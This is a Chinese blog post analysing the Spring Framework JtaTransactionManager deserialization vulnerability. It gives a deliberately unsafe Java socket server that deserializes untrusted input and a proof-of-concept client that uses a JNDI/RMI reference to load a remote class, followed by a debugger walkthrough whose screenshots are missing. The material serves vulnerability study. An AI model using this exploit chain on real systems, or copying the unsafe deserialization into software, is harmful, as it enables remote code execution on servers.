1. 程式人生 > >Spring framework 反序列化的漏洞

Spring framework 反序列化的漏洞

理解這個漏洞需要先看freebuff上的jdni的小例子。這裡就不看了。
Server端程式碼:

imort java.io.*;
import java.net.*;
public class ExploitableServer {
    public static void main(String[] args) {
        try {
        //本地監聽1234埠
            ServerSocket serverSocket = new ServerSocket(1234);
            System.out.println("Server started on port "+serverSocket.getLocalPort());
            while(true) {
                Socket socket=serverSocket.accept();
                System.out.println("Connection received from "+socket.getInetAddress());                
                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
                try {
                //執行接收到類的readObject方法
                    Object object = objectInputStream.readObject();
                    System.out.println("Read object "+object);                                  
                } catch(Exception e) {
                    System.out.println("Exception caught while reading object");                                    
                    e.printStackTrace();
                }               
            }
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

client端:

import java.io.*;
import java.net.*;
import java.rmi.registry.*;
import com.sun.net.httpserver.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;


public class ExploitClient {
    public static void main(String[] args) {
        try {
            String serverAddress = "127.0.0.1";
            int port = Integer.parseInt("1234");
            String localAddress= "127.0.0.1";

            System.out.println("Starting HTTP server");   //開啟80埠服務
            HttpServer httpServer = HttpServer.create(new InetSocketAddress(81), 0);
            httpServer.createContext("/",new HttpFileHandler());
            httpServer.setExecutor(null);
            httpServer.start();
            
            System.out.println("Creating RMI Registry"); //繫結RMI服務到 1099埠 Object  提供惡意類的RMI服務
            Registry registry = LocateRegistry.createRegistry(1099);
            /*
            java為了將object物件儲存在Naming或者Directory服務下,
            提供了Naming Reference功能,物件可以通過繫結Reference儲存在Naming和Directory服務下,
            比如(rmi,ldap等)。在使用Reference的時候,我們可以直接把物件寫在構造方法中,
            當被呼叫的時候,物件的方法就會被觸發。理解了jndi和jndi reference後,
            就可以理解jndi注入產生的原因了。
             */ //繫結本地的惡意類到1099埠
            Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":81"+"/");
            ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
            registry.bind("Object", referenceWrapper);

            System.out.println("Connecting to server "+serverAddress+":"+port); //連線伺服器1234埠
            Socket socket=new Socket(serverAddress,port);
            System.out.println("Connected to server");
            String jndiAddress = "rmi://"+localAddress+":1099/Object";

            //JtaTransactionManager 反序列化時的readObject方法存在問題 //使得setUserTransactionName可控,遠端載入惡意類
            //lookup方法會例項化惡意類,導致執行惡意類無參的構造方法
            org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
            object.setUserTransactionName(jndiAddress);
            
            System.out.println("Sending object to server...");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
            objectOutputStream.writeObject(object);
            objectOutputStream.flush();
            while(true) {
                Thread.sleep(1000);
            }
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

server與client互動流程:
Alt text
漏洞觸發點:
Alt text
下斷點除錯,前面client都是繫結操作,直到執行到43行,將惡意的rmi地址寫入:
Alt text
46行將惡意類傳送到Server端,server端執行JtaTransactionManager類的readObject:
Alt text
跟到616行:
Alt text
f7跟到173行:
Alt text
繼續f7跟到247行,呼叫了looup方法:
Alt text
繼續跟進94行,name 傳進的值是之前繫結的惡意類的地址,lookup方法會呼叫惡意類的構造方法。
Alt text
跟到惡意類構造方法,觸發RCE.
Alt text
參考連結:
https://www.freebuf.com/vuls/115849.html
https://paper.seebug.org/312/